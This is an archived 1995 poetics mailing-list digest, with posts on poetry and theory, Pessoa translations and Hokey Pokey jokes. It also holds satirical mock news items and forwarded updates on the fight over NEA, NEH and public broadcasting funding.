I've been working so much the last 3-4 weeks that I've stopped my ritual of picking up the morning paper. You really should continue with the "public" posts; this is my public broadcasting.

Thanks.

↑ Index

104. cris cheek
Freely Espousing
Thu 9 Feb 1995

How about classic compromise, leave postings on this list and copy to another which, taking up Mark's point (and it's a good one) forges a broader alliance with artists in other forms of practice and can act as a forum for such dialogue. I'd want to subscribe to such a list as that too.

cris

↑ Index

105. Spencer Selby
Re: reified names vs. boundless vocabulary
Thu 9 Feb 1995

Dear Eric,

Those who have a big investment in theory may be prejudiced in a direction which will impair their judgment about what does and doesn't work when it comes to creating or appreciating art. As I told James, I'm not advocating purity. The fact that you both think I am might indicate that you both have trouble stepping back from the discourse, that it's hard for you to hear someone who is simply saying art must have its level.

Of course art doesn't come from nowhere. And of course it is inevitable that there will be all kinds of influences upon this art. To me this means we can free up our process as much as we see fit. A successful process is one that allows these influences to happen as they may, or as they may not. The guiding principle is whatever transports the work in and of itself. This will not happen if external influences or conscious intentions are too strong. This to me is the same as saying that art must be on its own level. This does not mean it's sealed off from anything.

Spencer Selby

↑ Index

106. **Ron Silliman**
Re: apex of the m...
Thu 9 Feb 1995

You wrote:

> *ROn, yes, the Hokey Pokey, or the Kacky pataki*

I thought it was the Tacky Pataki

↑ Index

107. **Michael Boughn**
Re: reified names vs. boundless vocabulary
Thu 9 Feb 1995

> *Every "poem" (every "fact" in fact) is imbued with and attached to a theoretical structure which both informs it and from which it does not separate except in the minds of those who would create a transparent simulacrum of reality where the pure is real.*

Excuse me if I sound "misguided" (misguided? isn't that something that happens to lapsed catholics and neo-post-trots?), but I'm having a hard time with this. My (misguided?) understanding of "theories" is that people make them up to explain things. Hence the etymologiocal derivation from that whole Greek specular trip: to see (what's "behind" the veil). Mr. Sherry's formulation seems to imply that people write poems based on theories, rather than writing theories based on poems. This may be the way "Language poets" do it, but it hardly seems a necessary relation. Perhaps there's a confusion here between "theory" and "cosmology".

Best,
Mike
[redacted]

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108. **Ron Silliman**
Re: Espousing 2/8
Thu 9 Feb 1995

I think that this is a terrific use of the Poetics List and should continue.

But it is Totally Depressing to see Randy Cunningham's two closest buddies (Duncan Hunter and John Doolittle) as cosponsors of HR 209, the Privatization of Art Act

Ron Silliman

↑ Index

109. cris cheek
Cockney Folk Dance
Thu 9 Feb 1995

If we're going to get technical, it's the Hokey Cokey not Pokey. And now we're getting George going on about Michael Caine.

Pessoa never wrote - What's Going On - surely.

cris

↑ Index

110. Bill Luoma
Re: reified names vs. boundless vocabulary
Thu 9 Feb 1995

> *Mr. Sherry's formulation seems to imply that*
> *people write poems based on theories,*
> *rather than writing theories based on poems.*

I would agree that Mr. Sherry seems to be arguing a chicken before the egg thing. However, it's hard for me to really figure out which one comes first. I tend to side with the egg (poetry) these days, but I know from experience that I was only able to write what I consider *decent* work after I learned something about social theory and the history of art. I was basically a scientist until age 25, when I met Steve Evans and Jennifer Moxley. They showed me society. They showed me art.

I would be interested to hear James talk out how he and others in the late 70's-early 80's *decided* to write Lang-Po. Did it come from Zukofsky, Barthes and Althusser? Did it come from a hatred of that Deer poem by Richard Wilbur (?) where he thinks hard for us all? Did it come consciously? Did it come from the radio? Did he just do it?

The problem I feel now (at 35) though is that theory is getting in the way of creation. I worry too much about correctness, politcal, avante-garde, et al, to really create something interesting that isn't just a rehash of something I just did or someone else just did. Maybe it's just a case of the composition blues. I remember my composition teachers telling me that there were two steps to

writing a paper: free writing / brainstorming and editing / revising. The two functions are supposedly controlled by different parts of the brain.

I'm hinting at community formation as the bridge between theory and practice. Anyone want to play poker on Sun night?

Bill Luoma

↑ Index

111. cris cheek
Re: deified reams vs. nounless bloakabulary
Thu 9 Feb 1995

Hi. . . . . every poem is a theory

↑ Index

112. Alan Golding
Re: reified names vs. boundless vocabulary
Thu 9 Feb 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Spencer's recent postings on the "level" of art reminded me of Oppen's lines from "Of Being Numerous":

One must not come to feel that he [sic] has a thousand threads in his hands, He must somehow see the one thing; This is the level of art There are other levels But there is no other level of art

In a reading late in life (I think NY, 1979, but I'm not positive) he reads this last line as "But this is the level of art."

As regards George Bowering's locating of the Pessoa-in-translation line as "What's it all about, Alfredo"--so we've traded the Hokey Pokey for "What's It All About, Alfie" now?

Alan Golding

↑ Index

113. Jorge Guitart
refried nombres
Thu 9 Feb 1995

`every poem is a theory' is a theory
& ``every poem is a theory' is a theory'is a theory

&'& ```every poem is a theory' is a theory' & ``every poem is a theory' is a theory'' is a theory.

& there are many more theories
& '& there are many more theories' is a theory
& '& '& there are are many more theories' is a theory' is a theory

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114. Pierre Joris
Re: deified reams vs. nounless bloakabulary
Thu 9 Feb 1995

Little Bob, my favorite frog worterbuch tells me that the _other_ meaning of the word "theorie",in French, via Greek "theo^ria" (procession) refers to a delegation of people sent by a city to a sacred occasion or to a great temple. By extension (1907) it came to mean "groups of people walking one behind the other." (Camus, for ex., has "des theories de femmes"). On the other hand, walking in a single line will be given by my dictionaire allemand as "im Gansemarch," i.e. goose-stepping.

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

↑ Index

115. FUNKHOUSER CHRISTOPH
Birds Die
Thu 9 Feb 1995

Subject: Cambridge zoo birds die in fire as keeper gets drunk
Copyright: 1995 by The Anti-Hegemony Project
Date: 1 Jul 99 00:00:00 EST

Lines: 12

LONDON (AHP) - Some 10 or 15 rare birds died last night in a Cambridge fire while their keeper was on a drinking binge to celebrate being named Poet Laureate to the English Crown. The fire, which broke out shortly after midnight in Gonville and Caius, raged through a shelter for rare breeds of swans, guinea fowl and peacocks for more than an hour before

sleeping cricket players at a nearby college called the porter. ``The firemen said they came across the keeper staggering around his room,'' remarked the porter. ``Earlier that same day he had been heard shouting `I am Prin ... Prince Jay-Re-Me!' to no one in particular.'' No birds survived the blaze.

↑ Index

116. Tony Green
Re: Cockney Folk Dance
Thu 9 Feb 1995

-- the Hokey Cokey not Pokey.

You're so right, Chris Cheek, but "folk" do
Adapt freely so that Pokey is
Widespread now, probably on account of
A confusion with the ice-cream flavour.

The big question for poetology may be
What do you do when it comes to
The verse:
"You put your right arm in...." & that

Is where poetry and theory intersect.
Is where poetry and theory intersect.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

117. Tony Green
Re: Espousing 2/8
Thu 9 Feb 1995

Please go on Espousing on the list. The pressures
on public spending on the arts are widespread and
U.S. strategies/tactics may prove to be
adaptable here in what C.Stroffolino calls "etc"

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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118. James Sherry

Re: reified names vs. boundless vocabulary

Thu 9 Feb 1995

Each poem has a theoretical basis whether it is acknowledged or not. Poetry and theory are separate but not separable and do not precede or follow each other. James

On Thu, 9 Feb 1995, Michael Boughn wrote:

> *Every "poem" (every "fact" in fact) is imbued with and attached to a theoretical structure which both informs it and from which it does not separate except in the minds of those who would create a transparent simulacrum of reality where the pure is real.*
>
> *Excuse me if I sound "misguided" (misguided? isn't that something that happens to lapsed catholics and neo-post-trots?), but I'm having a hard time with this. My (misguided?) understanding of "theories" is that people make them up to explain things. Hence the etymologiocal derivation from that whole Greek specular trip: to see (what's "behind" the veil). Mr. Sherry's formulation seems to imply that people write poems based on theories, rather than writing theories based on poems. This may be the way "Language poets" do it, but it hardly seems a necessary relation. Perhaps there's a confusion here between "theory" and "cosmology".*
>
> *Best,*
> *Mike*
> [redacted]

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119. **James Sherry**
Re: reified names vs. boundless vocabulary
Thu 9 Feb 1995

On Thu, 9 Feb 1995, Bill Luoma wrote: There is no such implication, but a misunderstanding of a more integrated relationship between theory and poetry in an attempt to keep them separate from each other which they are not. AND

> >>Mr. Sherry's
formulation seems to imply that > >>people write poems based on theories,
> >>rather than writing theories based on poems.
>
> I would agree that Mr. Sherry seems to be arguing a chicken before the egg
> thing. However, it's hard for me to really figure out which one comes first.
> I tend to side with the egg (poetry) these days, but I know from experience
> that I was only able to write what I consider *decent* work after I learned
> something about social theory and the history of art. I was basically a
> scientist until age 25, when I met Steve Evans and Jennifer Moxley. They
> showed me society. They showed me art.
>

Alas, Bill I cannot show how anyone "decided" to write Lang-Po, since it was not decided and was not written. It has been perceived as having been written by those who wish to oversimplify the realities of what was written during that period down to this. Get a little subtle, please. Jmeas

> *I would be interested to hear James talk out how he and others in the late 70's-early 80's *decided* to write Lang-Po. Did it come from Zukofsky, Barthes and Althusser? Did it come from a hatred of that Deer poem by Richard Wilbur (?) where he thinks hard for us all? Did it come consciously? Did it come from the radio? Did he just do it?*
>
> *The problem I feel now (at 35) though is that theory is getting in the way of creation. I worry too much about correctness, politcal, avante-garde, et al, to really create something interesting that isn't just a rehash of something I just did or someone else just did. Maybe it's just a case of the composition blues. I remember my composition teachers telling me that there were two steps to writing a paper: free writing / brainstorming and editing / revising. The two functions are supposedly controlled by different parts of the brain.*
>
> *I'm hinting at community formation as the bridge between theory and practice. Anyone want to play poker on Sun night?*
>
> *Bill Luoma*

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120. cris cheek
refried dreams vs. downless somnabularies
Thu 9 Feb 1995

Pierre, am I reading you right? Re - every poem is a theory. Is it a pate and Golden Egg question you're raising?

Or am I being cast (as Virgil saw himself ironically)
'to be a goose honking amongst tuneful swans'?

Isn't Poetry inclusive of both speculation and practice - rather than
practice opposing speculation?
Melody - Rhythm and Noise?

cris

↑ Index

121. cris cheek
Regimented jeans of the mau-mau
Thu 9 Feb 1995

Pierre, I'm pretty tired and just typed poverty instead of poetry. Surely the One is sufficiently respectful of an Other as to not go walking in lines behind. I'm new to this space and am just realising its economy.

cris

↑ Index

122. Mn Center For Book Arts
Re: Espousing 2/8
Thu 9 Feb 1995

By all means keep posting the news. I also hope it is all right to share and forward such news to others in the various communities. charles alexander

↑ Index

123. Mn Center For Book Arts
Re: re if I did names vs. bound loess vocables
Thu 9 Feb 1995

the ear he (or she) writes poetry
theory rights for trees
there, E, a poem

charles alexander

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124. George Bowering
Re: Cockney Folk Dance
Thu 9 Feb 1995

Well, I have never heard of "Hokey Cokey". It was "Hokey Pokey" a half century ago. And I have never heard of Pokey flavour ice cream. Maybe that is a New Zealand flavour. Derived from lanolin, maybe? I will be in Aukland tomorrow, and try to find some Pokey ice cream.

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125. George Bowering
Re: Birds Die
Thu 9 Feb 1995

How did those sleeping cricket players call the porter? Were they having dreams that they were in a pub, and sonsequently called out "Porter!" in their sleep?

↑ Index

126. George Bowering
Re: Cockney Folk Dance
Thu 9 Feb 1995

Actually, in the Paul Blackburn translation, Pessoa's line reads:

"Hey, what's happening?"

But we remember that Paul liked a lively English version of everything.

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127. eric pape
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

Spencer, I hear you. I really do, but I must ask finally, what is your definition of theory? It seems as if James and I are using a definition that calls for contextualization, and frankly, I think youre idea of theory is these names which form the heading for the discussion that, and I agree with you wholeheartedly, has gone on far too long. Art does have its level. I agree. But it also has a context, which I will call theoretical, and it is an act of violence that Shelley, Milton, Pound and even that most unintellectual of intellectual poets, O'Hara,

would perhaps resent, to rip it from that context. My thing about purity was simply that it didn't seem to me that what we were saying here, or more precisely what Tom and others were saying since I did indeed butt-in, was all that "radical" or even particularly "theoretical." It just seemed sensible to me and I wondered why it bothered you. That's all. As for the academy: You scored a hit. I'm an academic, or a wanna be academic which shows you already the fool you're dealing with here, and I certainly have an interest in "complexifying matters." But, I'm a lot of other things too. None of which I can, or want, to seperate from my work, admittedly limited though it is. I think a lot of important issues are coming up. I think the reason we are not any closer to resolving them (and by the way I give you a great deal of credit personally Spencer for having the stamina to take on all comers) is that they cannot be resolved. I think it is from these tensions that the best work comes. Thanks, Eric ([redacted])

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128. Mark Roberts
Re: Cockney Folk Dance
Fri 10 Feb 1995

> *Well, I have never heard of "Hokey Cokey". It was "Hokey Pokey" a half century ago. And I have never heard of Pokey flavour ice cream. Maybe that is a New Zealand flavour. Derived from lanolin, maybe? I will be in Aukland tomorrow, and try to find some Pokey ice cream.*

Well, there is 'New Zealand Ice Cream Company' shop in my local shopping centre and they have Hokey Pokey flavour. However there is a US based icecream/frozen yought company (Rollins? I can remeber its name) in Paddington and they have a flavour called "the orginal Hokey Pokey ice cream".

Mark

↑ Index

129. Steve Evans
Espousing 2/9
Fri 10 Feb 1995

Thanks to everyone who voiced an opinion on whether these updates should continue landing on the poetics-list. The current vote (including some back-channel communications) stands at 15-2 for continuing here. We've also gotten some good advice about how else to use the Net (especially from Sandra Braman). More as that develops.

What follows is an especially long update (if you read nothing else, do at least check out "National Security Concerns," where a Jack Collum poem is credited with directly undermining the nation's armed services).

We'll probably be off-line now until early next week as we travel to NYC for Jennifer's reading with Bill Luoma on Saturday at the Ear and Rae Armantrout/Lisa Jarnot/Lee Ann Brown's reading at Segue on Sunday. So: Good luck to Bob, Susan, and Gil in Philadelphia on Saturday!

Steve Evans & Jennifer Moxley

[redacted]

****

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-Christian Coalition-

National Security Concerns

The 7 February Congressional Record notes the following exchange between Georgia Republican Jack Kingston and Duncan Hunter (R-California):

"Mr. Kingston: It is interesting, everybody does like to jump on the Pentagon, wasteful spending and talk about the $400 toilet seat and $200 hammer and so forth. We want to know about these things. We want to ferret it out. We think that is what the mission is about, defense of the country, survival of the country, and protecting your son or your daugher who may need to have the most high-technology airplane or tank or ship or whatever.

Here is something that we, as taxpayers, your taxpayers in Californian and mine in Georgia, $30,000 on this poem. I am going to read this to you.

'Suddenly, masked hombres seized Petunia pig and made her into a sort of dense Jello. Somehow the texture, out of nowhere, produces a species of Atavistic anomie, a melancholy memory of good food.'

It was written by Jack Collom of Boulder, Co. The National Endowment for the Arts awared $30,000 for that poem.

And yet we are telling our American service personnel that they cannot get a raise. We are rolling the COLA's of veterans so that they cannot get what we contractually obligated to them.

I have met in Hinesville, GA, service personnel who can qualify for food stamps and other public assistance benefits. Some of them are taking them, some are not. But it is very hard to tell somebody who is on his way to Haiti, Somalia, Bosnia, wherever, we have got $30,000 for poems like this and your tax dollars are paying for it. I think one of the things that we are about in the Congress right now is to go back and try to find things like this so we can spend our dollars smarter, cut where we need to. But where we are going to spend, let us spend appropriately.

Mr. Hunter: I think the description of the expenditures that were made by the National Endowment for the Arts are one thing that would lower the morale of our service people if they knew that that was keeping them from having a higher quality of life."

(Congressional Record, 7 Feb 95: H1360. The CR for 7 Feb also records some remarks, made in the context of the Balanced Budget Amendment debate, by Arkansas Democratic Senator Dale Bumpers that are strongly CPB/NEA/NEH. Cf. S2243.)

HR 579

Another sponsor has added their name to Hefley's bill (The 'Privatization of Humanities Act,'): California Republican Dana Rohrabacher (2-8-95).

House Subcommittee Timeline

When I spoke to the Subcommittee on Early Childhood, Youth and Families yesterday, I was told that nothing pertaining to the NEA/NEH will be considered within the next two weeks. You can call [redacted] for recorded information about the SubCom's schedule (release one week at a time I believe).

Back on 1/25

Speaking with CD Wright (who was instrumental in organizing FE-Providence) over the past two days, I realize that we never mentioned an event that took place in Wilmington NC on 25 January. Through the help of Deborah Luster (a photographer) and Michael Luster (a folklorist), an already-scheduled reading by Mark Strand was linked to *FE* and to the defense of federal arts funding more generally. CD reports that 800 people attended that reading. Strand apparently addressed the crisis and tons of LitNet postcard-kits and other valuable information was distributed.

Wesleyan Contact

I omitted AJ Weissbard's name from yesterday's update about plans for a Feb 16th event at Wesleyan. Speakers will likely include RISD President (and *FE* 1/28 alum) Roger Mandle and George White of the Eugene O'Neill Theater.

White is also one of three people behind "Americans United to Save the Arts and Humanities," which--from what we gather--targets the wealthier Arts advocates ($1,000 is the ante they're asking from their supporters).

Christian Coalition

A report on the Christian Coalition, posted to various lists in the past few weeks, just reached us. The report originated with Amy T. Goodloe ([redacted]). We reproduce it here.

">Quoting Rex Bennett to All:

> *1/14/95*
> *.....*
> *According to Ralph Reed, Director of the Christian Coalition, the religious right is going to use Newt Gingrich, Bob Dole, and the new wave of right wing victories in a major attempt to seize power for the Christian Coalition and other christian groups. He is asking members of his 1.5 million group to ease off abortion issues for a while and direct all their energies to achieving a major stranglehold on government through right wing legislation.*
>
> *Their strategy is to replace government with organized religion where ever possible. One major objective is to weaken non-right wing media availability by undermining the public broadcasting networks while funneling government taxes into religious coffers, and thereby increasing the propaganda and control potential for the religious right. Reed says that Gingrich's 10-point Contract With America is the perfect plan for achieving this and that he intends to rally the full strength of his organization and its members to pressure congressmen to pass the legislation required.*
>
> *Public Broadcasting does not promote christian values and is too humanistic in nature according to Reed. The wide availability of science programming also weakens religious faith. The presentation by public broadcasting of social and cultural information on those not in the religious mainstream confuses the public and leads them away from the church and true christian values. Reed says that he wants religious programming to place its own imprint on the public knowledge base and that the recent Republican victories have given him "faith that they can attain what they have always sought, a sense of legitimacy, and a voice in the conversation the we call democracy."*
>
> *Besides the elimination of public broadcasting, Reed stated that it is crucial to gain control of education and school systems by using tax dollars to underwrite their efforts. He wants to abolish the Education Department and give states grants for scholarships or vouchers for public or private schools including religious institutions. He indicates this is where their real efforts will pay off and will cause a massive influx of capital into the christian network. Every effort will be made to replace inefficient public schools with more effective private ones, and that means primarily religious organizations since they already have the structure and the power to do so. Profitability will allow the christian network to enlarge and expand religious*

> *programming on television and radio as well as in the print media. He also wants to reinstate public prayer in all public schools.*
>
> *Reed says that it is crucial that they abolish funding for the Legal Services Corp. since they represent an alternative power base for the poor. Reed said that the proper place for the poor to seek help is in the church. He also said that the Legal Services Corp. has helped poor people with over 200,000 divorces annually. He wants divorce to be far more difficult to attain and would like to see it made expensive.*
>
> *Reed says that we must "dismantle the federal welfare system and shift responsibility for the poor back to the church." Public welfare has made poor people too independent of organized religion, and he feels that this is not healthy. He says "the poor should be dependent on God and not the state."*
>
> *Reed claims that Newt Gingrich's Contract With America is a god- send that will take power away from the state and give it back to the church where it belongs. This is the opportunity that they have been waiting for and he indicates that his membership must bring all the power and influence that they can to force passage of the republican contract.*

>He says that his organization plans to pressure every congressman and senator
>and that they will launch a massive public media campaign in favor of passage.
>"We want to pull everyone in that we can."
>----------
>This information needs to be disseminated widely. Everyone should be informed
>about what is about to take place. Please distribute this on every net
>including internet where possible. Public knowledge of matters and events
>regarding vital economic, educational, scientific, and communication freedoms
>are of interest to everyone.
~~~
~~~

in dissent, I could hardly think that. But I do believe that I am not the only one who has been bothered by the dominance of some who hold differing views. Spencer Selby

On Thu, 9 Feb 1995, Alan Golding wrote:

> *Associate Professor of English, U. of Louisville*
> *Phone: [redacted]; e-mail: [redacted]*
>
> *Spencer's recent postings on the "level" of art reminded me of Oppen's lines from "Of Being Numerous":*
>
> *One must not come to feel that he [sic] has a thousand threads in his hands, He must somehow see the one thing; This is the level of art There are other levels But there is no other level of art*
>
> *In a reading late in life (I think NY, 1979, but I'm not positive) he reads this last line as "But this is the level of art."*
>
> *As regards George Bowering's locating of the Pessoa-in-translation line as "What's it all about, Alfredo"--so we've traded the Hokey Pokey for "What's It All About, Alfie" now?*
>
> *Alan Golding*

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131. Spencer Selby
Re: deified reams vs. nounless bloakabulary
Fri 10 Feb 1995

I agree that every poem (and work of art) may be viewed as a theory. Considering my recent statements, it may come as no surprise that I trust this form of theory the most. Spencer Selby

On Thu, 9 Feb 1995, cris cheek wrote:

> *Hi. . . . . every poem is a theory*

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132. Michael Boughn
Re: deified theories and unfounded vocabularies
Fri 10 Feb 1995

> *Each poem has a theoretical basis whether it is acknowledged or not. Poetry and theory are separate but not separable and do not precede or*

> *follow each other. James*

This sounds a bit like There is a God whether He is acknowledged or not. Amen. (Yikes! Shades of the M'ers creeping into the L-space.) It does make it kind of hard to have a conversation, though, when one side knows the truth. Or is all that just a theory you made up?

Best,
Mike
[redacted]

↑ Index

133. Tom Mandel
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

O poeta e em fingidor.
Finge tao completamente
Que chega afingir que e dor
A dor que deveras sente.

E os que leem o que escreve,
Na dor lida sentem bem,
Nao as duas que ele teve,
Mas so a que eles nao tem.

E assim nas calhas de roda
Gira, a entreter a razao
Esse comboio de corda
Que se chama coracao.

Fernando Pessoa

(lots of accents I cdn't include)

The poet is a faker.
Fakes it so completely,
Even to faking what he suffers,
The pain he really feels.

And we who who read what he writes
Fully feel that pain
Not that doubled pain, not his
But another he never had.

So, round on its tracks
It goes, to entertain the reason,

This little train, all wound-up
We call the heart.

The poem is called Autopsicografia.

Tom Mandel

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134. Tom Mandel
Re: apex of the m...
Fri 10 Feb 1995

Ron, Honig is not very good, it's true. A later edition of his Pessoa selected involves another translation (whose name, I don't recall), and she's not much of an improvement. Tehre's a small volume by James Greene and Clara de Azevado Mafra, but it suffers from Greene's usual lugubrious _sensitivity_. Jonathon Griffin has done some Pessoa quite well, yet, published in England, these are not always easily available, tho I think SPD carries something. A young poet and translator, Richard Zenith, an American living in Lisbon, has done some much better Pessoa; in particular _The Book of Disquiet_ - the long prose _meditation_ by P.'s semi-heteronym whose moniker I can't recall (i.e. not Reis, Caiero or de Campos). Again, not widely available.

tom

↑ Index

135. Tom Mandel
Re: Espousing 2/8
Fri 10 Feb 1995

Yes, let learn espousing right here. tom mandel

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136. Tom Mandel
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

Re: James Sherry's:

"Every "poem" (every "fact" in fact) is imbued with and attached to a theoretical structure which both informs it and from which it does not separate except in the minds of those who would create a transparent simulacrum of reality where the pure is real. Fortunately these isolated realities are fiction although some use the possibility ot inform their misguided politics. We have poetries which are embossed with their cultures and some readers and even some writers

pretend not to see that. Thoughts are not purer than bodies and poems are the products of both and as such do not exist in isolation, nor can they be distilled into a spirit, although some use the possibility to inform their misguided poetics."

True words, and I'd like to hear more. What James calls a "theoretical structure," does he (do you) mean at once a cultural structure (simply, you cannot separate e.g. Pessoa from the dying Portugese ex-colonial culture), inasmuch as (obviously) everyone inhabits a culture and com- plexly writes within it, and (also at once) an ideological structure? Do all poets write, on the other hand, from within an ideology? Or maybe that's better put, are all cultures ideological?

Also, the following phrases in James contribution above; "a theoretical structure which both informs it and from which it does not separate," now there's a further claim, and one which is interesting, radical, and with which I think I might disagree, tho I'm not sure we'd be meaning the same thing. In other words, is there no sense in which a work departs its origins? A person, does a person depart his/her origins? How does culture change, in other words? And, do poets have a function in that change? (e.g. Pessoa took that milieu and moved it somewhere, in his work, and, by intention and influence, in his readers)

I'm interested in these questions.

Tom Mandel

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137. Loss Glazier

Modern British Poetry (Electronic)

Fri 10 Feb 1995

I have placed a new link in the "Resources" section of the EPC to a site for modern British poetry (via Poetry London). Some interesting material here. Also note that an informational hook to the Basil Bunting Research Centre has been placed in the "Authors" area, for those who might need this info.

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| Electronic Poetry Center |
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++++++++++++++++++++++++++__E__P__C__+++++++++++++++++
+++++++++++++++
Loss Glazier & Kenneth Sherwood in collab. with Charles Bernstein
[redacted] _or_ [redacted]
Subscriptions to RIF/T at the e-poetry address

_____

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138. **Carla Billitteri**
TODAY IN HISTORY
Fri 10 Feb 1995

> *Subject: Today In History [Feb 10]*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 9 Feb 99 01:02:03 EST*
>
> *Lines: 39*
>
> *Today is Feb. 10, the 41st day of 1999. There are 324 days left in the year.*
> *Today's Highlight in History:*
> *On Feb. 10, 1964, Frank O'Hara's U.N. informant ``Deep Throat'' passed secret information on the value of political poetry. O'Hara, fearful of discovery, swallowed the message before reading.*
> *On this date:*
> *In 1862, Edward Dickinson ordered bulk linen for his two daughters, hoping to save money. He asked Emily what color or pattern she might want, but the poet, busy at her desk, said only, ``I don't care ... anything ... something light.''*
> *In 1890, Algernon Charles Swinburne petitioned Queen Victoria*
>
> *---More--*
>
> *Group bleari.poesy.history_today available: 35 - 41 unread: 0*
>
> *article 41 9-FEB-1999 23:23:23*
>
> *for patronage. He hoped to realize a new kind of poetry recital. His ultimate dream was ``to place sweet potatoes up the arse'' before an*

> *audience in London.*
> *In 1936, Ezra Pound wrote Duke Ellington suggesting a jazz arrangement of the Horst Wessel Lied.*
> *In 1947, Pablo Neruda wrote ``Ode on a Stubbed Toe.''*
> *In 1962, Pier Paolo Pasolini offered Fabian the role of Christ in a film based on the gospel of Matthew.*
> *In 1975, Yevgeny Yevtushenko got into a fight with Joan Baez and left the Rolling Thunder tour in Des Moines.*
> *Ten years ago: Kit Robinson bought a refrigerator with built in ice-cube dispenser.*
> *Five years ago: Michael Palmer, suffering from insomnia, stayed up all night measuring his work against the classics. As daylight hit he discovered a poem exactly the same length as Eliot's `Waste-Land.'' Ruler in hand, he dialed Clark Coolidge, who didn't answer. Unbeknownst to Palmer, the ring had broken his old friend out of a trance. For several hours, Coolidge stared motionless at a bust of Beethoven, while a cigarette that fell*
>
> *---More---*
>
> *Group bleari.poesy.history_today available: 35 - 41 unread: 0*
>
> *article 41 10-FEB-1991 23:23:23*
>
> *from slack mouth burned the only copy of ``The Schroeder Text,'' a 200-page manuscript. The call probably saved Coolidge's life.*
> *One year ago: Quebecois poets announced the secession of Francophone writing from Canlit.*
> *Thought for Today: ``Many excellent words are ruined by too definite a knowledge of their meaning.'' -- Aline Kilmer, American poet (1888-1941).*

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139. cris cheek
Hackney Cockney
Fri 10 Feb 1995

By George, you'll have to take it from the dray's mouth - it's called the Hokey Cokey. I lived in London for too long to get that wrong. The Cokey is of course an abbreviation from Cockney.

Curious how translation works. Next I'll be reading here that Pessoa has been credited with the script for What's New Pussycat? Title music by Tom Jones

(welsh hairy chested medallion belter enjoying re-cred comeback - rather than lead character from picaresque english novel). Does 'O Sole Mia' refer to Woody's ex?

cris

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140. Marshall H. Reese

Arts Wire Post:NEA News

Fri 10 Feb 1995

"CONTRACT WITH AMERICA" VS. THE ARTS

U.S. House Speaker Gingrich and his allies have made clear in the first days of the 104th Congress their intention to zero-out funding for federally-supported cultural programs. It is likely to prove a long and protracted battle, with the greatest threat to the National Endowment for the Arts (NEA), the National Endowment for the Humanities (NEH), and the Corporation for Public Broadcasting (CPB) coming from attempts to pass the "Contract with America." In order to finance the tax cuts proposed in the "Contract, " House Speaker Gingrich has recommended slashing funding for the arts, humanities and public broadcasting.

According to a recent action alert circulated by People for the American Way, cultural funding is not simply being targeted as part of an effort to balance the budget, but it is part of a political payback to the Religious Right for their support in last November's election. People For asserts that the call for defunding the cultural agencies is ideological, that these agencies have for several years now been under attack for funding works which the Religious Right finds objectionable and that this latest assault is merely a new packaging of the same agenda, aimed at achieving the same end -- the silencing of those voices the Far Right finds objectionable.

The legislative battle will take place over a series of months during the first half of 1995, with critical votes taking place in several different committees, as well as on the floor of the House and Senate. According to People For the American Way, political pressure from the grassroots must begin immediately, otherwise the arts may not make it to the second round of this fight. House Speaker Gingrich's pledge to consider the "Contract" in the first hundred days is is being understood by arts advocates nationwide to mean that a Budget Committee proposal will make its way to the floor of the House of Representatives by late March or early April. Sources suggest that efforts to eliminate cultural funding are likely to be incremental, with a multi-year phasing out of federal support for NEA, NEH and CPB.

Soon after Congress takes action on the "Contract," the House of Representatives will begin its annual appropriations process. As the Appropriations Committee considers funding levels for the NEA, NEH and CPB, they are expected to be urged by Republican leadership to recommend funding amounts which reflect the "Contract." The House Appropriations Bill will make its way to the House floor by mid-summer, with the Senate following suit in late summer or early fall. In addition to providing funding for the three agencies, this year Congress must also reauthorize the NEA, NEH and CPB. Both House Appropriations Chair Livingston (R-LA) and Senate Appropriations Chair Hatfield (R-OR) have indicated that unless the agencies are reauthorized, they will be unwilling to recommend any future funding. Senators Kassebaum and Jeffords have indicated a strong interest in moving quickly in the Senate on NEA reauthorization. The first hearing before the Senate Labor and Human Resources Committee took place on January 24th, with NEA chair Jane Alexander testifying. Additional hearings and mark-up are expected in mid-February and early March. Senator Pressler, who chairs the Senate Commerce Committee and is responsible for reauthorizing the CPB, has indicated his interest in conducting hearings early in the legislative session on the future of public broadcasting. Senator Pressler has already publicly indicated his strong interest in eliminating the CPB altogether.

Congressional hearings on the arts and humanities have been scheduled for the following dates and are subject to change:

Week of Feb. 13 - Senate Education, Arts & Humanities Subcommittee, Sen. James Jeffords (R-VT), chair
Public NEA witnesses; NEH and IMS Administration and public witnesses

Feb. 16, 10:00 am - House Interior Appropriations Subcommittee (oversight hearing), Rep. Ralph Regula (R-OH), chair
Witnesses: Walter Cronkite, Ken Burns and David McCullough

March 1, 9:30 am - Senate Interior Appropriations Subcommittee, Dirksen 192, Rep. Slade Gorton (R-WA), chair
Witnesses: Sheldon Hackney and Jane Alexander

March 3 - House Interior Appropriations Subcommittee (FY96 funding), Rep. Ralph Regula (R-OH), chair
Subject: National Gallery of Art and Kennedy Center

March 21 - House Interior Appropriatons Subcommittee (FY96 funding), Rep. Ralph Regula (R-OH), chair
Subject: NEH and IMS

April 5 - House Interior Appropriations Subcommittee (FY96 funding), Rep. Ralph Regula (R-OH), chair
Subject: NEA

House Budget Committee [Rep. John Kasich (R-OH), chair] field hearings to solicit the views of Americans on how to cut the federal budget are scheduled as follows: Feb. 4 - Columbia, SC, Airport High School Gym, 2:00pm Feb. 11 - Manville, NJ, VFW Post 2290 Meeting Hall, 1:00 pm Feb. 18 - Billings, MT, Rocky Mountain College Gym, 2:00 pm

The House Appropriations Committee is expected to draft a rescissions bill in middle or late February, with cuts in current FY95 funding. The House Budget Committee expects to draft its FY96 budget resolution by February 9 or 10.

Further information available on Arts Wire
.....

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141. Chris Stroffolino
Re: reified names vs. boundless vocabulary
Fri 10 Feb 1995

